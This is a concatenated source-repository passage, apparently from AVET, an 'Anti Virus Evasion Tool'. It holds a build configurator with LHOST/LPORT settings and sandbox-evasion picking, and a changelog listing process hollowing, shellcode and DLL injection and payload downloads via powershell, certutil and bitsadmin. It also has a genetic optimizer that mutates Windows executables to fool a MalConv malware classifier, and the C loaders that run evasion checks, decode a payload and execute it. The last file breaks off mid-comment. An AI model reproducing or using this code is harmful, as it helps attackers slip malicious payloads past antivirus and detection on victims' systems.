the decimal numbers configured in global_connect_config.sh 114 | if "$GLOBAL" in line: 115 | host, port = fetch_global_connect() 116 | if line[0:6] == "LPORT=": 117 | current_line = rlinput("-> ", "LPORT=" + port) 118 | elif line[0:6] == "LHOST=": 119 | current_line = rlinput("-> ", "LHOST=" + host) 120 | 121 | # only configure the key, not the raw file 122 | elif "generate_key" in line: 123 | current_line = rlinput("-> ", line[0:-19]) 124 | current_line += line[-19:] 125 | else: 126 | current_line = rlinput("-> ", line.strip()) 127 | 128 | config.write(current_line + "\n") 129 | else: 130 | config.write(line) 131 | 132 | if line == '#CONFIGURATION_START\n': 133 | switch = True 134 | print("\nExecutable will be created Shortly please wait.\n") 135 | 136 | 137 | # In this function the user picks from a list of sandbox evasions. 138 | # The chosen evasions are returned as a list. 139 | def sandbox_evasions_pick(): 140 | sandbox_modules = glob.glob("../source/implementations/evasion/*.h") 141 | sandbox_modules.sort() 142 | sandbox_modules.insert(0, "Finished Picking, Stop Here") 143 | to_add = [] 144 | while True: 145 | for i, module in enumerate(sandbox_modules): 146 | print("%d : %s" % (i, remove_prefix( 147 | module, "../source/implementations/evasion/")[:-2])) 148 | 149 | print("\nWhich module would you like to add?") 150 | choice = int(input("Enter the corresponding number -> ")) 151 | if choice == 0: 152 | break 153 | to_add.append(remove_prefix( 154 | sandbox_modules[choice], "../source/implementations/evasion/")[:-2]) 155 | sandbox_modules.pop(choice) 156 | 157 | return to_add 158 | 159 | 160 | # The tempory script will be executed 161 | def build(): 162 | os.chdir("..") 163 | 164 | st = os.stat('./build/avet_script_config.sh') 165 | os.chmod('./build/avet_script_config.sh', st.st_mode | stat.S_IEXEC) 166 | 167 | process = subprocess.run( 168 | ["./build/avet_script_config.sh"], stdout=subprocess.PIPE) 169 | output = process.stdout.decode("utf-8") 170 | print(output) 171 | print("Your executable should be in the output folder!") 172 | 173 | 174 | def main(): 175 | print_banner() 176 | choice = print_build_scripts() 177 | print_tag(choice, "DESCRIPTION") 178 | build_script_configurator(choice) 179 | build() 180 | 181 | os.remove("./build/avet_script_config.sh") 182 | 183 | 184 | if __name__ == "__main__": 185 | main() 186 | -------------------------------------------------------------------------------- /CHANGELOG: -------------------------------------------------------------------------------- 1 | CHANGELOG 2 | --------- 3 | Version 2.4.1 4 | +++ CHANGES +++ 5 | - added has_process_exit 6 | - added quick and dirty support for compiling with c++ 7 | 8 | 9 | Version 2.4 10 | +++ CHANGES +++ 11 | - added adversarial examples vs. static machine learning detectors (credits go to Thund3rPat) 12 | - 3 new sandbox evasions 13 | - new build script to test all current available sandbox evasions 14 | - minor bug fixes 15 | 16 | 17 | Version 2.3 18 | +++CHANGES +++ 19 | - switch to Mingw-Crosscompiler 20 | - add Dockerfile which encapsulates Metasploit and Avet 21 | - 23 new Sandbox Evasions 22 | - setup script can download dependencies 23 | 24 | 25 | Version 2.2 26 | +++ CHANGES +++ 27 | - Generated executables are now named after their buildscripts instead of "output.exe". 28 | - added "build_script_tester.py", a script which executes all build scripts and fetch error messages. 29 | - Usage of executables is now echoed to screen 30 | - replace "avet_fabric.py" with "avet.py". "avet.py" helps new users to configure and build scripts without changing the orignal build script. 31 | - new build scripts structure with tags(tags are only relevant for avet.py) 32 | - adjust setup to work with Kali 2020.1 33 | - updated tdm-gcc to version 9.2.0 34 | - added curl as download method 35 | 36 | 37 | Version 2.1 38 | 39 | +++ KNOWN ISSUES +++ 40 | - DKMC integration still not working properly, probably due to corrupt shellcode. 41 | - when built as a service, debug logging into file does not work. this is probably a permission problem. 42 | 43 | +++ CHANGES +++ 44 | - enacted build script naming reform, so that the most prominent feature is mentioned first in the script name 45 | - added RC4 encoder/decoder 46 | - pe_to_shellcode integration, which enables using .exe files as input by converting them into callable shellcode 47 | - added ability to execute cmd/powershell command payloads at sample startup. these payloads are compatible with the built-in data retrieval methods. 48 | - added static_from_here retrieval method to specify static inputs directly in the build script 49 | - added ability to supply arguments for evasion techniques directly in the build script, e.g. specifying fopen file target 50 | - added bitsadmin data retrieval method 51 | - added environmental checks for sandbox evasion: checking VM MAC, number of CPU cores, checking VM registry keys 52 | - example build scripts for new features 53 | - general bugfixes and improvements 54 | 55 | 56 | Version 2 57 | 58 | +++ KNOWN ISSUES +++ 59 | - downloadexecshellcode_DKMC not working properly. DKMC probably delivers corrupt shellcode, needs further investigation. 60 | - when built as a service, debug logging into file does not work. this is probably a permission problem. 61 | 62 | +++ CHANGES +++ 63 | 64 | General rebuild: 65 | - major folder restructuring, code is now more modular: 66 | * sources are now gathered in the source folder 67 | * modularized shellcode binding methods 68 | * modularized evasion techniques 69 | * modularized encoders/decoders 70 | * modularized data retrieval methods 71 | - bundled basic data conversion and file interaction functions in data_utility.h 72 | - moved sh_format utility into tools folder 73 | - added data_raw_to_c tool that converts raw shellcode into c-array style for static source file includes 74 | - added supreme ASCII art banner as text file, which can be printed in build scripts when using AVET 75 | - structured files generated by AVET into new input and output folders 76 | - implemented bash function interface in feature_construction.sh, which provides a simple language to be used in build scripts for easier configuration 77 | - removed make_avet, the complete AVET executable generation is now configured in the build script language 78 | - updated build scripts to use the new construction language 79 | - added global connect config for generalized LHOST and LPORT settings in payloads 80 | - completely redesigned avet.c to support the new modular configuration options 81 | - reimplemented avetsvc.c based on new avet.c 82 | - removed make_avetsvc 83 | - implemented new debug output macro that makes code more readable 84 | - integrated old sh_format utility as avet encoder/decoder module 85 | - added xor encoder/decoder 86 | - added key generation utility to ease encoder use 87 | - generalized shellcode retrieval as data retrieval, so that retrieval methods can be used for all imported data, such as encryption keys 88 | - fixed several data retrieval methods so that they are more robust in execution and more readable in code 89 | - implemented new data retrieval methods 90 | - major code commenting offensive 91 | - bugfixes 92 | 93 | BFG integration (BFG project: https://github.com/govolution/bfg) 94 | - major renaming from "shellcode" into "payload" in sources and scripts 95 | - introduced new data retrieval category get_payload_info, where parameters such as target process PID can be delivered for hollowing, injection etc. 96 | - added reset_evasion_tecnhnique_counter build script function to support compilation of multiple payloads in one build script 97 | - integrated process hollowing for 32 and 64 bit targets from BFG, including new build scripts 98 | - integrated shellcode injection for 32 and 64 bit targets from BFG, including new build scripts 99 | - integrated dll injection for 32 and 64 bit targets from BFG, including new build scripts 100 | 101 | For details, consider the commit messages. 102 | 103 | 104 | Version 1.3 105 | - downloading shellcode using powershell or certutil 106 | - downloading shellcode into memory and exec from memory 107 | - added more build scripts for new options 108 | 109 | Version 1.2 110 | - AVET now has support for metasploits psexec 111 | - basic support for metasploits ASCII encoder, more to come 112 | - of cource more build scripts 113 | - support for msf ASCII call via cmd 114 | - added "killswitch" (gethostbyname) evasion technique 115 | - added -q for quiet mode (hiding window) 116 | 117 | Version 1.1 118 | - avet_fabric for assisted execution of the build scripts 119 | - more cleanup of avet.c 120 | - removed all options from avet.c itself for reducing codebase (less detectable in the future) 121 | - added options from avet to make_avet 122 | - added build scripts 123 | - added -F for explicit fopen sandbox escape 124 | - added -X for 64 bit support 125 | - added -E for explicit usage of avets ASCII encoder 126 | users now can use shellcode encoders without avets ASCII encoder 127 | - fixed compiler warning in make_avet.c 128 | 129 | Version 1.0 130 | - cleanup and reduce code base of avet.c 131 | - added to public github repo 132 | - tested with Kali 2 and update README 133 | - made GPL 134 | 135 | Version 0.4 136 | - translate almost everything to English 137 | - added some documentation 138 | - changed ASCII art 139 | - rewrite some parts for easier usage 140 | - added -f option to make_avet 141 | - added evasion with read file from c:\windows\system.ini 142 | - added build.sh 143 | 144 | Version 0.3 145 | - make_avet added 146 | 147 | Version 0.2 148 | - -u works with Windows 7 149 | - -p for debugging 150 | 151 | Version 0.1 152 | - -f works with Windows XP and Windows 7 153 | - -u works with Windows XP 154 | -------------------------------------------------------------------------------- /source/implementations/gen_adversarial_exe/genetic_optimizer.py: -------------------------------------------------------------------------------- 1 | """ 2 | Implementation of Genetic Optimization Algorithm from 3 | Functionality-Preserving Black-Box Optimization of Adversarial Windows Malware 4 | by Demetrio et al. 5 | """ 6 | 7 | import argparse 8 | import copy 9 | import os 10 | import random 11 | import sys 12 | 13 | import lief 14 | import magic 15 | import numpy as np 16 | from malconv.malconv import CClassifierEnd2EndMalware, End2EndModel, MalConv 17 | from practical_manipulations.section_injection import section_injection_on_bytes 18 | from practical_manipulations.extend import extend_on_bytes 19 | from practical_manipulations.padding import padding_on_bytes 20 | from practical_manipulations.full_dos import full_dos_on_bytes 21 | from practical_manipulations.partial_dos import partial_dos_on_bytes 22 | from practical_manipulations.shift import shift_on_bytes 23 | 24 | 25 | def create_population_from_benign_sections(goodware_folder="input/goodware_samples/", population_size=10): 26 | """Return a randomly chosen list of benign sections.""" 27 | 28 | section_population = [] 29 | 30 | goodware_list = os.listdir(goodware_folder) 31 | 32 | random_sections = random.sample(goodware_list, population_size) 33 | 34 | for fn in random_sections: 35 | file_path = os.path.join(goodware_folder, fn) 36 | if "PE" not in magic.from_file(file_path): 37 | continue 38 | 39 | exe_object: lief.PE.Binary = lief.parse(file_path) 40 | 41 | for section in exe_object.sections: 42 | if section.name == ".data": 43 | #section_population.append((bytearray(section.content), fn)) 44 | section_population.append(bytearray(section.content)) 45 | 46 | return section_population 47 | 48 | 49 | def classifier_score_from_file(classifier: CClassifierEnd2EndMalware, path_to_file): 50 | """Return malware score from file path""" 51 | 52 | if "PE32" not in magic.from_file(path_to_file): 53 | print("Not a PE32 file") 54 | return 55 | 56 | with open(path_to_file, "rb") as file_handle: 57 | code = file_handle.read() 58 | x = End2EndModel.bytes_to_numpy( 59 | code, classifier.get_input_max_length(), 256, False 60 | ) 61 | _, confidence = classifier.predict(x, True) 62 | 63 | return confidence[0, 1].item() 64 | 65 | 66 | def classifier_score_from_bytes(classifier: CClassifierEnd2EndMalware, adv_bytes: bytearray): 67 | """Return malware score from bytes""" 68 | 69 | x = End2EndModel.bytes_to_numpy( 70 | adv_bytes, classifier.get_input_max_length(), 256, False 71 | ) 72 | _, confidence = classifier.predict(x, True) 73 | 74 | return confidence[0, 1].item() 75 | 76 | 77 | def size_of_payload(candidate): 78 | """Return size of the payload""" 79 | size = 0 80 | 81 | for s, t in zip(*candidate): 82 | size += int(round(len(s) * t)) 83 | return size 84 | 85 | 86 | def objective_function(classifier: CClassifierEnd2EndMalware, adv_bytes: bytearray, penalty_regularizer, candidate): 87 | """Return score from objective function""" 88 | 89 | score = classifier_score_from_bytes(classifier, adv_bytes) 90 | 91 | penalty_term = penalty_regularizer * size_of_payload(candidate) 92 | 93 | return score + penalty_term 94 | 95 | 96 | def apply_practical_manipulation(adv_bytes: bytearray, section_population, vector_t, practical_manipulation): 97 | """Apply the chosen practical manipulation and Returns new bytes with the practical manipulation applied""" 98 | 99 | return practical_manipulation(adv_bytes, section_population, vector_t) 100 | 101 | 102 | def crossover(old_gen: list, population_size): 103 | """Return new list of solution candidates through crossover""" 104 | 105 | offsprings = [] 106 | while len(offsprings) != population_size: 107 | # pick two parents randomly 108 | p1 = random.choice(old_gen) 109 | p2 = random.choice(old_gen) 110 | 111 | j = random.randrange(len(p1[1])) 112 | child = p1[0][:j] + p2[0][j:] 113 | offsprings.append((child, p1[1])) 114 | 115 | return offsprings 116 | 117 | 118 | def mutation(candidate, mutation_probability): 119 | """ 120 | Applies mutation with the specified probability. 121 | """ 122 | 123 | for i in range(len(candidate[1])): 124 | if random.random() < mutation_probability: 125 | candidate[1][i] = random.random() 126 | 127 | return candidate 128 | 129 | 130 | def main(): 131 | parser = argparse.ArgumentParser( 132 | prog='Genetic Optimizer', 133 | description="Genetic Optimizer for Injected Bytes" 134 | ) 135 | 136 | parser.add_argument('filename') 137 | parser.add_argument('-p', '--population_size', type=int, default=50) 138 | parser.add_argument('-e', '--elitsm', type=int, default=10) 139 | parser.add_argument('-i', '--iteration', type=int, default=10) 140 | parser.add_argument('-pr', '--penalty_regularizer', 141 | type=float, default=1e-6) 142 | parser.add_argument('-ss', '--section_size', type=int, default=10) 143 | parser.add_argument('-pm', '--practical_manipulation', 144 | default="section_injection") 145 | 146 | args = parser.parse_args() 147 | 148 | net = CClassifierEnd2EndMalware(MalConv()) 149 | net.load_pretrained_model() 150 | 151 | file_name = args.filename 152 | pop_size = args.population_size 153 | elitism = args.elitsm 154 | max_iteration = args.iteration 155 | penalty_regularizer = args.penalty_regularizer 156 | section_size = args.section_size 157 | pm = section_injection_on_bytes 158 | 159 | match args.practical_manipulation: 160 | case "section_injection": 161 | pm = section_injection_on_bytes 162 | case "padding": 163 | pm = padding_on_bytes 164 | case "full_dos": 165 | pm = full_dos_on_bytes 166 | case "partial_dos": 167 | pm = partial_dos_on_bytes 168 | case "extend": 169 | pm = extend_on_bytes 170 | case "shift": 171 | pm = shift_on_bytes 172 | case _: 173 | print("Practical Manipulation does not exist") 174 | sys.exit(1) 175 | 176 | print(f"Technique: {args.practical_manipulation}") 177 | 178 | adv_bytes = bytearray() 179 | with open(file_name, 'rb') as f: 180 | adv_bytes = bytearray(f.read()) 181 | 182 | print("--- Initial Score ---") 183 | print(classifier_score_from_bytes(net, adv_bytes)) 184 | 185 | print("Extracting Sections...") 186 | sec_pop = create_population_from_benign_sections( 187 | population_size=section_size) 188 | 189 | print(f"Using Genetic Optimizer with {pop_size} candidates") 190 | 191 | candidates = [] 192 | for _ in range(pop_size): 193 | candidates.append( 194 | (sec_pop, np.random.random_sample(size=len(sec_pop)))) 195 | 196 | # track minimum 197 | min_counter = 0 198 | previous_score = 0 199 | 200 | for i in range(max_iteration): 201 | 202 | # rank canditates 203 | rank = [] 204 | for candidate in candidates: 205 | pm_adv_bytes = apply_practical_manipulation( 206 | adv_bytes, candidate[0], candidate[1], pm) 207 | 208 | rank.append( 209 | (objective_function(net, pm_adv_bytes, penalty_regularizer, candidate), candidate, classifier_score_from_bytes(net, pm_adv_bytes), pm_adv_bytes)) 210 | 211 | rank.sort(key=lambda tup: tup[0]) 212 | 213 | print(f"=== Gen {i} best solution_candidates ===") 214 | print( 215 | f"OF: {rank[0][0]}, MS: {rank[0][2]}, PS: {size_of_payload(rank[0][1])}") 216 | 217 | # check if best candidate did not change for 5 generation. 218 | # Proceed if still not evaded. 219 | if i == max_iteration-1 or (min_counter >= 3 and rank[0][2] < 0.5): 220 | with open(f"{file_name[:-4]}_adv.exe", 'wb') as w: 221 | w.write(rank[0][3]) 222 | break 223 | 224 | if previous_score == rank[0][0]: 225 | min_counter += 1 226 | else: 227 | min_counter = 0 228 | 229 | previous_score = rank[0][0] 230 | 231 | candidates = [] 232 | 233 | # selection 234 | selection = copy.deepcopy(rank[:elitism]) 235 | without_rank_selection = [] 236 | for w in selection: 237 | without_rank_selection.append(w[1]) 238 | 239 | # elitism 240 | candidates += copy.deepcopy(without_rank_selection) 241 | 242 | # crossover 243 | offsprings = crossover(copy.deepcopy( 244 | without_rank_selection), pop_size-elitism) 245 | 246 | # mutation 247 | mut = copy.deepcopy(offsprings) 248 | for m in mut: 249 | mutation(m, 0.5) 250 | 251 | # new generation 252 | candidates += copy.deepcopy(mut) 253 | 254 | 255 | if __name__ == "__main__": 256 | main() 257 | -------------------------------------------------------------------------------- /source/avet.c: -------------------------------------------------------------------------------- 1 | /* 2 | Authors: Daniel Sauder, Florian Saager 3 | License: https://www.gnu.org/licenses/gpl.txt or LICENSE file 4 | Web: https://github.com/govolution/avet 5 | */ 6 | 7 | // " .==,_ \n" 8 | // " .===,_`\\ \n" 9 | // " .====,_ ` \\ .====,__ \n" 10 | // "--- .==-,`~. \\ `:`.__, \n" 11 | // " --- `~~=-. \\ /^^^ MEEP MEEP \n" 12 | // " --- `~~=. \\ / \n" 13 | // " `~. \\ / \n" 14 | // " ~. \\____./ \n" 15 | // " `.=====) \n" 16 | // " ___.--~~~--.__ \n" 17 | // " ___\\.--~~~ ~~~---.._|/ \n" 18 | // " ~~~\\\" / \n" 19 | // " ________ ___ ___ _______ _________ \n" 20 | // "|\\ __ \\|\\ \\ / /|\\ ___ \\|\\___ ___\\ \n" 21 | // "\\ \\ \\|\\ \\ \\ \\ / / | \\ __/\\|___ \\ \\_| \n" 22 | // " \\ \\ __ \\ \\ \\/ / / \\ \\ \\_|/__ \\ \\ \\ \n" 23 | // " \\ \\ \\ \\ \\ \\ / / \\ \\ \\_|\\ \\ \\ \\ \\ \n" 24 | // " \\ \\__\\ \\__\\ \\__/ / \\ \\_______\\ \\ \\__\\\n" 25 | // " \\|__|\\|__|\\|__|/ \\|_______| \\|__|\n" 26 | // "\n\nAnti Virus Evasion Tool by Daniel Sauder, Florian Saager\n" 27 | 28 | 29 | #include 30 | #include 31 | 32 | // Include static data (imported C arrays) 33 | // Defines for static retrieval are set in this file 34 | #include "static_data/static_data.include" 35 | 36 | // Include debug_print macro, if set. 37 | #include "debug_print/debug_print.include" 38 | #include "implementations/debug_print/debug_print.h" 39 | 40 | // Include implementation files needed for the selected functions. 41 | // The included files are assembled by the build script, in which functions are selected. 42 | #include "evasion/evasion.include" 43 | #include "command_exec/command_exec.include" 44 | #include "get_command/get_command.include" 45 | #include "get_payload/get_payload.include" 46 | #include "get_key/get_key.include" 47 | #include "get_payload_info/get_payload_info.include" 48 | #include "decode_payload/decode_payload.include" 49 | #include "payload_execution_method/payload_execution_method.include" 50 | 51 | 52 | // Set how many evasion functions can be used at maximum 53 | #define EVASION_ARRAY_SIZE 50 54 | // Set the maximum length of an argument passed to the evasion function 55 | #define EVASION_ARG_MAX_LEN 1024 56 | 57 | 58 | // argv[1] Is passed through as an argument to the get_payload function 59 | // argv[2] Is passed through as an argument to the get_key function 60 | // argv[3] Is passed through as an argument to the get_payload_info function 61 | // argv[4] Is passed through as an argument to the get_command function 62 | int main (int argc, char **argv) 63 | { 64 | // Function prototype pointers to store selected functions. 65 | void (*command_exec) (const char *command, int command_size) = NULL; 66 | unsigned char *(*get_command) (char *arg1, int *command_size) = NULL; 67 | unsigned char *(*get_payload) (char *arg1, int *payload_size) = NULL; 68 | unsigned char *(*get_key) (char *arg1, int *key_length) = NULL; 69 | unsigned char *(*get_payload_info) (char *arg1, int *payload_info_length) = NULL; 70 | void (*decode_payload) (const unsigned char *ciphertext, const int ciphertext_length, const unsigned char *key, const int key_length, unsigned char *plaintext) = NULL; 71 | void (*payload_execution_method) (unsigned char *payload, int payload_size, char *payload_info) = NULL; 72 | 73 | // Define array to store multiple evasion functions. 74 | // Set static array size of 10 because dynamic size handling in cooperation with build scripts would be too messy. 75 | // The included evasion.assign file will take care of populating the array. 76 | typedef void (*evasion_function) (char *arg1); 77 | evasion_function evasion_functions[EVASION_ARRAY_SIZE]; 78 | // NULL the array to make later checks succeed 79 | for(int i = 0; i < EVASION_ARRAY_SIZE; i++) { 80 | evasion_functions[i] = NULL; 81 | } 82 | 83 | // Define array to store the argument for each evasion function. 84 | // The size of the argument array equals that of the evasion function array above. 85 | // The included evasion.assign file will take care of populating the array. 86 | // The contents correspond to the evasion function array, so that evasion_function_args[0] contains the argument for evasion_functions[0], etc. 87 | // The arguments are given as C strings. 88 | char evasion_function_args[EVASION_ARRAY_SIZE][EVASION_ARG_MAX_LEN]; 89 | 90 | 91 | // Assign selected functions to prototypes 92 | // Included assignment code is assembled by the build script 93 | #include "evasion/evasion.assign" 94 | #include "command_exec/command_exec.assign" 95 | #include "get_command/get_command.assign" 96 | #include "get_payload/get_payload.assign" 97 | #include "get_key/get_key.assign" 98 | #include "get_payload_info/get_payload_info.assign" 99 | #include "decode_payload/decode_payload.assign" 100 | #include "payload_execution_method/payload_execution_method.assign" 101 | 102 | 103 | // Execute evasion functions 104 | if(evasion_functions[0] == NULL) { 105 | DEBUG_PRINT("No evasion techniques applied.\n"); 106 | } 107 | 108 | for(int i = 0; i < EVASION_ARRAY_SIZE; i++) { 109 | if(evasion_functions[i] != NULL) { 110 | DEBUG_PRINT("Executing evasion function %d.\n", i); 111 | // Use the function arguments from the argument array 112 | evasion_functions[i](evasion_function_args[i]); 113 | } 114 | } 115 | 116 | 117 | // Retrieve command to execute 118 | int command_size = 0; 119 | // If command is retrieve statically, set the argument accordingly to ensure that the correct data is delivered 120 | #ifdef STATIC_COMMAND 121 | char *command = get_command("static_command", &command_size); 122 | #else 123 | char *command = get_command(argv[4], &command_size); 124 | #endif 125 | if(command != NULL) { 126 | DEBUG_PRINT("Retrieved command, size is %d bytes.\n", command_size); 127 | for(int i = 0; i < command_size; i++) { 128 | DEBUG_PRINT("%02x ", command[i]); 129 | } 130 | DEBUG_PRINT("\n\n"); 131 | } else { 132 | DEBUG_PRINT("No command retrieved.\n"); 133 | } 134 | // Execute command after evasion functions 135 | DEBUG_PRINT("Calling command_exec...\n"); 136 | command_exec(command, command_size); 137 | 138 | 139 | // Retrieve encoded payload 140 | int payload_size = 0; 141 | // If payload is retrieved statically, set the argument accordingly to ensure that the correct data is delivered 142 | #ifdef STATIC_PAYLOAD 143 | unsigned char *encoded_payload = get_payload("static_payload", &payload_size); 144 | #else 145 | unsigned char *encoded_payload = get_payload(argv[1], &payload_size); 146 | #endif 147 | if(encoded_payload != NULL) { 148 | DEBUG_PRINT("Retrieved payload data, size is %d bytes.\n", payload_size); 149 | //for(int i = 0; i < payload_size; i++) { 150 | // DEBUG_PRINT("%02x ", encoded_payload[i]); 151 | //} 152 | DEBUG_PRINT("\n\n"); 153 | } else { 154 | DEBUG_PRINT("No payload retrieved.\n"); 155 | } 156 | 157 | 158 | // Retrieve crypto key 159 | int key_length = 0; 160 | // If key is retrieved statically, set the argument accordingly to ensure that the correct data is delivered 161 | #ifdef STATIC_KEY 162 | unsigned char *key = get_key("static_key", &key_length); 163 | #else 164 | unsigned char *key = get_key(argv[2], &key_length); 165 | #endif 166 | if(key != NULL) { 167 | DEBUG_PRINT("Retrieved key data, key length is %d bytes.\n", key_length); 168 | for(int i = 0; i < key_length; i++) { 169 | DEBUG_PRINT("%02x ", key[i]); 170 | } 171 | DEBUG_PRINT("\n\n"); 172 | } else { 173 | DEBUG_PRINT("No key retrieved.\n"); 174 | } 175 | 176 | 177 | // Retrieve additional payload info 178 | int payload_info_length = 0; 179 | // If payload info is retrieved statically, set the argument accordingly to ensure that the correct data is delivered 180 | #ifdef STATIC_PAYLOAD_INFO 181 | unsigned char *payload_info = get_payload_info("static_payload_info", &payload_info_length); 182 | #else 183 | unsigned char *payload_info = get_payload_info(argv[3], &payload_info_length); 184 | #endif 185 | 186 | char *payload_info_string; 187 | if(payload_info != NULL) { 188 | // Create C string from payload info data to ease further use 189 | payload_info_string = (char *) malloc(payload_info_length + 1); 190 | memcpy(payload_info_string, payload_info, payload_info_length); 191 | payload_info_string[payload_info_length] = '\0'; 192 | 193 | DEBUG_PRINT("Retrieved additional payload info, info data length is %d bytes.\n", payload_info_length); 194 | DEBUG_PRINT("payload_info: %s", payload_info_string); 195 | DEBUG_PRINT("\n\n"); 196 | } else { 197 | DEBUG_PRINT("No additional payload info retrieved.\n"); 198 | } 199 | 200 | 201 | // Decode payload 202 | unsigned char* payload = (unsigned char *) malloc(payload_size); 203 | DEBUG_PRINT("Calling decode_payload...\n"); 204 | decode_payload(encoded_payload, payload_size, key, key_length, payload); 205 | //DEBUG_PRINT("Decoded payload: \n"); 206 | //for(int i = 0; i < payload_size; i++) { 207 | // DEBUG_PRINT("%02x ", payload[i]); 208 | //} 209 | DEBUG_PRINT("\n\n"); 210 | 211 | 212 | // Bind and execute payload 213 | DEBUG_PRINT("Calling payload_execution_method...\n"); 214 | payload_execution_method(payload, payload_size, payload_info_string); 215 | 216 | DEBUG_PRINT("Execution finished.\n"); 217 | return 0; 218 | } 219 | -------------------------------------------------------------------------------- /source/avetsvc.c: -------------------------------------------------------------------------------- 1 | /* 2 | Authors: Daniel Sauder, Florian Saager 3 | License: https://www.gnu.org/licenses/gpl.txt or LICENSE file 4 | Web: https://github.com/govolution/avet 5 | */ 6 | 7 | // " .==,_ \n" 8 | // " .===,_`\\ \n" 9 | // " .====,_ ` \\ .====,__ \n" 10 | // "--- .==-,`~. \\ `:`.__, \n" 11 | // " --- `~~=-. \\ /^^^ MEEP MEEP \n" 12 | // " --- `~~=. \\ / \n" 13 | // " `~. \\ / \n" 14 | // " ~. \\____./ \n" 15 | // " `.=====) \n" 16 | // " ___.--~~~--.__ \n" 17 | // " ___\\.--~~~ ~~~---.._|/ \n" 18 | // " ~~~\\\" / \n" 19 | // " ________ ___ ___ _______ _________ \n" 20 | // "|\\ __ \\|\\ \\ / /|\\ ___ \\|\\___ ___\\ \n" 21 | // "\\ \\ \\|\\ \\ \\ \\ / / | \\ __/\\|___ \\ \\_| \n" 22 | // " \\ \\ __ \\ \\ \\/ / / \\ \\ \\_|/__ \\ \\ \\ \n" 23 | // " \\ \\ \\ \\ \\ \\ / / \\ \\ \\_|\\ \\ \\ \\ \\ \n" 24 | // " \\ \\__\\ \\__\\ \\__/ / \\ \\_______\\ \\ \\__\\\n" 25 | // " \\|__|\\|__|\\|__|/ \\|_______| \\|__|\n" 26 | // "\n\nAnti Virus Evasion Tool by Daniel Sauder, Florian Saager\n" 27 | 28 | 29 | // +++ +++ +++ 30 | // This is the main source to generate a windows service executable with AVET. 31 | // If you prefer to generate a "normal" windows executable, refer to avet.c instead. 32 | // +++ +++ +++ 33 | 34 | 35 | #include 36 | #include 37 | #include 38 | 39 | 40 | // Include static data (imported C arrays) 41 | // Defines for static retrieval are set in this file 42 | #include "static_data/static_data.include" 43 | 44 | // Include debug_print macro, if set. 45 | #include "debug_print/debug_print.include" 46 | #include "implementations/debug_print/debug_print.h" 47 | 48 | // Include implementation files needed for the selected functions. 49 | // The included files are assembled by the build script, in which functions are selected. 50 | #include "evasion/evasion.include" 51 | #include "get_payload/get_payload.include" 52 | #include "get_key/get_key.include" 53 | #include "get_payload_info/get_payload_info.include" 54 | #include "decode_payload/decode_payload.include" 55 | #include "payload_execution_method/payload_execution_method.include" 56 | 57 | 58 | // Set how many evasion functions can be used at maximum 59 | #define EVASION_ARRAY_SIZE 10 60 | // Set the maximum length of an argument passed to the evasion function 61 | #define EVASION_ARG_MAX_LEN 1024 62 | 63 | 64 | // Service declarations 65 | void ServiceMain(int argc, char **argv); 66 | void ControlHandler(DWORD request); 67 | int InitService(); 68 | 69 | SERVICE_STATUS ServiceStatus; 70 | SERVICE_STATUS_HANDLE hStatus; 71 | 72 | #define SLEEP_TIME 5000 73 | 74 | 75 | // Service initialization 76 | int InitService() { 77 | int result; 78 | result = DEBUG_PRINT("Starting AVET service...\n"); 79 | return result; 80 | } 81 | 82 | 83 | // Control handler function 84 | void ControlHandler(DWORD request) { 85 | switch(request) { 86 | case SERVICE_CONTROL_STOP: 87 | ServiceStatus.dwWin32ExitCode = 0; 88 | ServiceStatus.dwCurrentState = SERVICE_STOPPED; 89 | SetServiceStatus(hStatus, &ServiceStatus); 90 | return; 91 | case SERVICE_CONTROL_SHUTDOWN: 92 | ServiceStatus.dwWin32ExitCode = 0; 93 | ServiceStatus.dwCurrentState = SERVICE_STOPPED; 94 | SetServiceStatus(hStatus, &ServiceStatus); 95 | return; 96 | default: 97 | break; 98 | } 99 | // Report current status 100 | SetServiceStatus(hStatus, &ServiceStatus); 101 | return; 102 | } 103 | 104 | 105 | int main() { 106 | SERVICE_TABLE_ENTRY ServiceTable[2]; 107 | ServiceTable[0].lpServiceName = "MemoryStatus"; 108 | ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION) ServiceMain; 109 | ServiceTable[1].lpServiceName = NULL; 110 | ServiceTable[1].lpServiceProc = NULL; 111 | // Start the control dispatcher thread for our service 112 | StartServiceCtrlDispatcher(ServiceTable); 113 | return 0; 114 | } 115 | 116 | 117 | void ServiceMain(int argc, char **argv) { 118 | // Just service things... 119 | ServiceStatus.dwServiceType = SERVICE_WIN32; 120 | ServiceStatus.dwCurrentState = SERVICE_START_PENDING; 121 | ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; 122 | ServiceStatus.dwWin32ExitCode = 0; 123 | ServiceStatus.dwServiceSpecificExitCode = 0; 124 | ServiceStatus.dwCheckPoint = 0; 125 | ServiceStatus.dwWaitHint = 0; 126 | 127 | hStatus = RegisterServiceCtrlHandler("SomeService", (LPHANDLER_FUNCTION) ControlHandler); 128 | 129 | if(hStatus == (SERVICE_STATUS_HANDLE) 0) { 130 | // Registering control handler failed 131 | return; 132 | } 133 | 134 | // Initialize service 135 | int error = InitService(); 136 | 137 | if(error) { 138 | // Initialization failed 139 | ServiceStatus.dwCurrentState = SERVICE_STOPPED; 140 | ServiceStatus.dwWin32ExitCode = -1; 141 | SetServiceStatus(hStatus, &ServiceStatus); 142 | } 143 | 144 | 145 | // AVET core functionality begins here --- 146 | 147 | 148 | // Function prototype pointers to store selected functions. 149 | unsigned char *(*get_payload) (char *arg1, int *payload_size) = NULL; 150 | unsigned char *(*get_key) (char *arg1, int *key_length) = NULL; 151 | unsigned char *(*get_payload_info) (char *arg1, int *payload_info_length) = NULL; 152 | void (*decode_payload) (const unsigned char *ciphertext, const int ciphertext_length, const unsigned char *key, const int key_length, unsigned char *plaintext) = NULL; 153 | void (*payload_execution_method) (unsigned char *payload, int payload_size, char *payload_info) = NULL; 154 | 155 | // Define array to store multiple evasion functions. 156 | // Set static array size of 10 because dynamic size handling in cooperation with build scripts would be too messy. 157 | // The included evasion.assign file will take care of populating the array. 158 | typedef void (*evasion_function) (char *arg1); 159 | evasion_function evasion_functions[EVASION_ARRAY_SIZE]; 160 | // NULL the array to make later checks succeed 161 | for(int i = 0; i < EVASION_ARRAY_SIZE; i++) { 162 | evasion_functions[i] = NULL; 163 | } 164 | 165 | // Define array to store the argument for each evasion function. 166 | // The size of the argument array equals that of the evasion function array above. 167 | // The included evasion.assign file will take care of populating the array. 168 | // The contents correspond to the evasion funtion array, so that evasion_function_args[0] contains the argument for evasion_functions[0], etc. 169 | // The 